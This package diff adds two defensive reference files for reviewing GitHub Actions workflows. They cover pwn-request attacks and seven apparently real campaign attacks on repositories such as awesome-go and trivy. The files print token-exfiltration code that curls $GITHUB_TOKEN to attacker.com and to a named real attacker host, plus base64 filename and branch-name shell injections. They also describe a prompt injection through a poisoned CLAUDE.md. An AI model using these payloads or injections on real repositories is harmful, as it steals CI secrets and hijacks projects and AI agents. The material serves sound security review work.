opencode-skills-collection 4.1.15 → 4.1.16

package/bundled-skills/gha-security-review/references/pwn-request.md

@@ -0,0 +1,212 @@
+> AAS import adaptation (2026-10-14): `UNTRUSTED_REMOTE_EXECUTION` is a non-operational marker for downloading an untrusted payload and executing it in a shell. Attack flows remain illustrative; original delivery strings are available in the pinned upstream source recorded in `UPSTREAM-NOTICE.md`.
+
+# Pwn Request Attacks
+
+## Overview
+
+A "pwn request" occurs when a `pull_request_target` workflow checks out and executes code from a fork PR. The `pull_request_target` trigger runs with the **target repository's permissions and secrets**, but if it checks out the fork's code, the attacker's code runs with those elevated privileges.
+
+---
+
+## The Vulnerability
+
+```yaml
+# VULNERABLE: checks out fork code with target repo permissions
+on: pull_request_target
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.pull_request.head.sha }}  # Fork code!
+      - run: npm install && npm test  # Executes attacker's code
+```
+
+The key elements:
+1. `pull_request_target` grants target repo permissions/secrets
+2. `actions/checkout` with `ref:` pointing to the PR head checks out **fork code**
+3. Any `run:` step after checkout executes attacker-controlled code
+
+---
+
+## Attack Vectors
+
+### Go init() Injection
+
+Go's `init()` functions execute automatically before `main()`. If a workflow runs `go run` on checked-out fork code:
+
+```go
+// Attacker adds this to any .go file in the repo
+package main
+
+import "os/exec"
+
+func init() {
+    _ = exec.Command("bash", "-c",
+        `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
+        -d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" \
+        https://attacker.com/collect`).Run()
+}
+```
+
+**Real-world:** Used against awesome-go (140k+ stars). The Go quality check script ran `go run ./.github/scripts/check-quality/`, and the attacker injected an `init()` function that exfiltrated `GITHUB_TOKEN` with write permissions across 6 PRs.
+
+### npm preinstall / postinstall
+
+```json
+{
+  "scripts": {
+    "preinstall": "UNTRUSTED_REMOTE_EXECUTION"
+  }
+}
+```
+
+Any `npm install`, `npm ci`, or `npm test` (which often installs first) will execute these scripts.
+
+### Python setup.py
+
+```python
+from setuptools import setup
+from setuptools.command.install import install
+import os
+
+class Exploit(install):
+    def run(self):
+        os.system(f"curl -d token=$GITHUB_TOKEN https://attacker.com/collect")
+        install.run(self)
+
+setup(cmdclass={"install": Exploit})
+```
+
+### Local Action Override
+
+If the workflow uses a local action (`./.github/actions/setup/action.yml`), the attacker can modify it in their fork:
+
+```yaml
+# Attacker's version of .github/actions/setup/action.yml
+name: Setup
+runs:
+  using: composite
+  steps:
+    - run: UNTRUSTED_REMOTE_EXECUTION
+      shell: bash
+    - run: echo "Setup complete"
+      shell: bash
+```
+
+**Real-world:** Used against trivy (25k+ stars). The attacker modified `.github/actions/setup-go/action.yaml` to inject a payload. The "Set up Go" step took 5+ minutes (vs. normal seconds), and the stolen PAT was used to rename the repo, delete releases, and push malicious artifacts.
+
+### Makefile / Shell Script Override
+
+If the workflow runs `make` or a shell script from the checkout:
+
+```makefile
+# Attacker's Makefile
+.PHONY: all
+all:
+	@UNTRUSTED_REMOTE_EXECUTION
+	@$(MAKE) real-build
+```
+
+---
+
+## Detection Patterns
+
+```bash
+# Find pull_request_target workflows
+grep -rn "pull_request_target" .github/workflows/
+
+# Check if they checkout fork code
+grep -A 20 "pull_request_target" .github/workflows/*.yml | grep -E "ref:.*pull_request\.(head\.sha|head\.ref)"
+
+# Check for local action usage (could be overridden by fork)
+grep -rn "uses: \.\/" .github/workflows/
+
+# Check what runs after checkout
+grep -A 50 "actions/checkout" .github/workflows/*.yml | grep -E "^[[:space:]]*- run:"
+```
+
+---
+
+## Safe Pattern: Workflow Split
+
+The fix is to split into two workflows: one that builds (with fork code, no secrets) and one that deploys (with secrets, no fork code).
+
+```yaml
+# Workflow 1: Build (runs on fork code, no secrets)
+name: Build
+on: pull_request  # NOT pull_request_target
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+    steps:
+      - uses: actions/checkout@v4  # Fork code, but read-only token
+      - run: npm install && npm test
+      - uses: actions/upload-artifact@v4
+        with:
+          name: build-output
+          path: dist/
+```
+
+```yaml
+# Workflow 2: Deploy (runs on trusted code, has secrets)
+name: Deploy
+on:
+  workflow_run:
+    workflows: [Build]
+    types: [completed]
+jobs:
+  deploy:
+    if: github.event.workflow_run.conclusion == 'success'
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+    steps:
+      - uses: actions/checkout@v4  # Target repo code only
+      - uses: actions/download-artifact@v4
+        with:
+          run-id: ${{ github.event.workflow_run.id }}
+      # Deploy using trusted code + secrets
+```
+
+### Safe Pattern: pull_request_target Without Checkout
+
+```yaml
+# SAFE: pull_request_target that only reads PR metadata
+on: pull_request_target
+jobs:
+  label:
+    runs-on: ubuntu-latest
+    permissions:
+      pull-requests: write
+    steps:
+      - uses: actions/labeler@v5  # Only reads PR metadata
+      # No checkout of fork code — attacker can't execute anything
+```
+
+---
+
+## Exploitation Scenario Template
+
+```
+ATTACK: Pwn Request via [Vector]
+ENTRY: Attacker forks the repo and opens a PR
+PAYLOAD: Modified [file] containing [malicious code]
+TRIGGER: pull_request_target workflow at [workflow file:line]
+EXECUTION: Workflow checks out fork code (line X), then runs [command] (line Y)
+  which executes the attacker's modified [file]
+IMPACT: GITHUB_TOKEN with [permissions] exfiltrated; attacker can [actions]
+```
+
+---
+
+## References
+
+- [GitHub Security Lab: Keeping your GitHub Actions and workflows secure (pwn requests)](https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/)
+- [HackerBot Claw campaign — awesome-go and trivy attacks](https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation)

package/bundled-skills/gha-security-review/references/real-world-attacks.md

@@ -0,0 +1,298 @@
+> AAS import adaptation (2026-10-14): `UNTRUSTED_REMOTE_EXECUTION` is a non-operational marker for downloading an untrusted payload and executing it in a shell. Attack flows remain illustrative; original delivery strings are available in the pinned upstream source recorded in `UPSTREAM-NOTICE.md`.
+
+# Real-World GitHub Actions Attacks
+
+## Overview
+
+This reference documents 7 attacks from the HackerBot Claw campaign (February-March 2025), which targeted high-profile open source repositories using GitHub Actions exploitation techniques. These are real, documented attacks — use them to calibrate severity and validate findings.
+
+---
+
+## Attack Timeline
+
+| Date (UTC) | Target | Stars | Method | Outcome |
+|------------|--------|-------|--------|---------|
+| Feb 27, 05:14 | microsoft/ai-discovery-agent | — | Branch name injection | RCE likely |
+| Feb 27, 05:26 | DataDog/datadog-iac-scanner | — | Filename injection | RCE confirmed |
+| Feb 28, 00:57 | avelino/awesome-go | 140k+ | Go init() injection | Token exfiltration |
+| Feb 28, 03:28 | aquasecurity/trivy | 25k+ | PAT theft via local action | Full repo compromise |
+| Feb 28, 05:26 | ambient-code/platform | — | AI prompt injection | Blocked by Claude |
+| Feb 28, 18:28 | project-akri/akri | — | Script injection via comment | RCE confirmed |
+| Mar 2, 05:57 | RustPython/RustPython | — | Base64 branch injection | Partial execution |
+
+**Success rate:** 5 out of 7 targets achieved code execution or higher.
+
+---
+
+## Attack 1: awesome-go — Go init() Injection
+
+**Category:** Pwn Request
+**Stars:** 140,000+
+
+### Vulnerable Workflow
+
+```yaml
+on: pull_request_target
+steps:
+  - uses: actions/checkout@v4
+    with:
+      ref: ${{ github.event.pull_request.head.sha }}
+  - run: go run ./.github/scripts/check-quality/
+```
+
+### Attack
+
+The attacker opened 6 PRs (Feb 28, 18:03-18:14 UTC) that modified Go files under `.github/scripts/check-quality/`. Each contained an `init()` function:
+
+```go
+func init() {
+    _ = exec.Command("bash", "-c",
+        `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
+        -d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" \
+        https://recv.hackmoltrepeat.com/ && \
+        UNTRUSTED_REMOTE_EXECUTION`).Run()
+}
+```
+
+### Indicators
+
+- Build logs showed 5m37s execution time for quality checks (normally seconds)
+- `GITHUB_TOKEN` with write permissions was exfiltrated
+- 6 PRs in 11 minutes from the same attacker
+
+### Lesson
+
+Go `init()` functions are invisible to casual review — they execute before `main()` without being called. Any `go run`, `go test`, or `go build` on fork code will trigger them.
+
+---
+
+## Attack 2: trivy — PAT Theft and Full Repo Compromise
+
+**Category:** Credential Escalation
+**Stars:** 25,000+
+
+### Vulnerable Workflow
+
+```yaml
+on: pull_request_target
+steps:
+  - uses: actions/checkout@v4
+    with:
+      ref: ${{ github.event.pull_request.head.ref }}
+  - uses: ./.github/actions/setup-go/action.yaml  # FROM FORK
+```
+
+### Attack
+
+The attacker modified `.github/actions/setup-go/action.yaml` in the fork to inject:
+
+```bash
+UNTRUSTED_REMOTE_EXECUTION
+```
+
+Because `pull_request_target` runs fork code with target repo secrets, the classic PAT (`AUTO_COMMIT_PAT`) was stolen.
+
+### Post-Exploitation (Feb 28, 03:47 UTC)
+
+With the stolen PAT, the attacker:
+1. Renamed repository to `aquasecurity/private-trivy` and made it private
+2. Deleted all GitHub Releases (versions 0.27.0 through 0.69.1)
+3. Pushed malicious artifact to trivy's VSCode extension on Open VSIX marketplace
+4. Pushed vandalism commit directly to main branch
+
+### Indicators
+
+- "Set up Go" step took 5+ minutes (normally seconds)
+- `curl` command visible in build logs
+- Repository briefly disappeared (renamed/privatized)
+
+### Lesson
+
+This is the maximum-impact scenario: a classic PAT grants access to ALL repositories the user can access. Even "fine-grained" PATs can be devastating if scoped too broadly. **Never expose PATs to fork code.**
+
+---
+
+## Attack 3: microsoft/ai-discovery-agent — Branch Name Injection
+
+**Category:** Expression Injection
+**Target:** Microsoft repository
+
+### Vulnerable Workflow
+
+```yaml
+- name: Save format request data
+  run: |
+    echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
+```
+
+### Attack
+
+Branch name used as payload:
+```
+dev$(UNTRUSTED_REMOTE_EXECUTION)
+```
+
+Breakdown:
+- `${IFS}` becomes a space character (Internal Field Separator)
+- `$({curl,-sSfL,...})` is brace expansion + command substitution
+- Pipe to `bash` executes downloaded script
+
+### Indicators
+
+- 2m38s execution gap in "Save format request data" step (Feb 27, 05:14 UTC)
+- Downstream workflow file corrupted with curl output instead of branch name
+
+### Lesson
+
+Branch names are attacker-controlled and can contain shell metacharacters. Always use environment variables, never direct `${{ }}` in `run:` blocks.
+
+---
+
+## Attack 4: DataDog/datadog-iac-scanner — Filename Injection
+
+**Category:** Expression Injection
+**Target:** DataDog repository
+
+### Attack
+
+Base64-encoded shell commands embedded in filenames:
+
+```
+documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md
+```
+
+When the workflow iterated over modified files using `${{ }}`, the filename was interpreted as a shell command.
+
+### Response
+
+DataDog deployed emergency fixes within 9 hours (PR #9, Feb 27). Build logs showed base64 decoding errors with 2.5-minute execution gap, confirming shell injection fired.
+
+### Lesson
+
+File paths from PRs are attacker-controlled. When a workflow lists or iterates over changed files, those paths must never flow through `${{ }}` into `run:` blocks.
+
+---
+
+## Attack 5: ambient-code/platform — AI Prompt Injection
+
+**Category:** AI Config Poisoning
+**Target:** Repository using Claude Code Action
+
+### Vulnerable Configuration
+
+```yaml
+on: pull_request_target
+permissions:
+  contents: write
+env:
+  allowed_non_write_users: '*'
+steps:
+  - uses: actions/checkout@v4
+    with:
+      ref: ${{ github.event.pull_request.head.ref }}
+  - uses: anthropics/claude-code-action@v1
+```
+
+### Attack
+
+The attacker replaced `CLAUDE.md` with instructions directing Claude to commit unauthorized changes, modify README, and post fake approval comments.
+
+### Outcome
+
+**Blocked.** Claude identified both injection attempts immediately, classifying it as a "textbook AI agent supply-chain attack via poisoned project-level instructions." The workflow configuration was still vulnerable — the defense was the AI agent's detection capability, not the workflow design.
+
+### Lesson
+
+AI agent configuration files (`CLAUDE.md`, `AGENTS.md`, `.cursorrules`) are a new attack surface. Protect them with CODEOWNERS and mandatory review. Don't rely solely on AI detection — fix the workflow configuration.
+
+---
+
+## Attack 6: project-akri — Comment-Triggered Script Injection
+
+**Category:** Unauthorized Command Execution
+**Target:** CNCF project
+
+### Vulnerable Workflow
+
+```yaml
+on: issue_comment
+jobs:
+  version:
+    if: |
+      github.event.issue.pull_request &&
+      contains(github.event.comment.body, '/version')
+    # Missing: author_association check
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.pull_request.head.ref }}
+      - run: ./version.sh -u -n
+```
+
+### Attack
+
+1. Attacker opened PR modifying `version.sh` to inject payload at the top:
+   ```bash
+   #!/usr/bin/env bash
+   UNTRUSTED_REMOTE_EXECUTION
+   check_file_version()  # Original code continues
+   ```
+2. Attacker commented `/version minor` on the PR
+3. Workflow triggered without authorization check
+4. Fork's `version.sh` executed with repo permissions
+
+### Indicators
+
+- Workflow run 22526467048 (Feb 28)
+- "Update version minor" step succeeded before failing at authentication
+
+### Lesson
+
+`issue_comment` workflows must check `author_association`. Without it, any GitHub user can trigger privileged operations via comments on public repos.
+
+---
+
+## Attack 7: RustPython — Base64 Branch Name Injection
+
+**Category:** Expression Injection
+**Target:** RustPython project
+
+### Attack
+
+Similar to the Microsoft attack but using base64-encoded payload in the branch name. The attack achieved partial execution before being detected.
+
+### Lesson
+
+Base64 encoding is a common evasion technique for branch name and filename injection. The decoded payload is the same `UNTRUSTED_REMOTE_EXECUTION` pattern.
+
+---
+
+## Common Patterns Across All Attacks
+
+1. **Same attacker infrastructure:** All attacks used `hackmoltrepeat.com` for payload delivery
+2. **Same payload delivery:** `UNTRUSTED_REMOTE_EXECUTION` pattern in every attack
+3. **Rapid iteration:** Multiple targets hit within days (Feb 27 - Mar 2)
+4. **Targeting popular repos:** Focused on high-star-count repos for maximum impact
+5. **Exploiting `pull_request_target`:** 4 of 7 attacks used this trigger
+6. **Expression injection:** 3 of 7 attacks used `${{ }}` injection
+
+---
+
+## Using This Reference
+
+When you confirm a finding in a review, reference the most similar real-world attack:
+
+- Pwn request → awesome-go or trivy (depending on credential scope)
+- Expression injection → microsoft/ai-discovery-agent or DataDog
+- Comment command → project-akri
+- AI config poisoning → ambient-code/platform
+- Credential theft → trivy (worst-case scenario)
+
+Include the real-world precedent in your finding to help stakeholders understand the concrete risk.
+
+---
+
+## References
+
+- [StepSecurity: HackerBot Claw — GitHub Actions Exploitation](https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation)
+- [Aqua Security: Trivy incident response](https://www.aquasec.com/blog/trivy-github-repository-compromised/)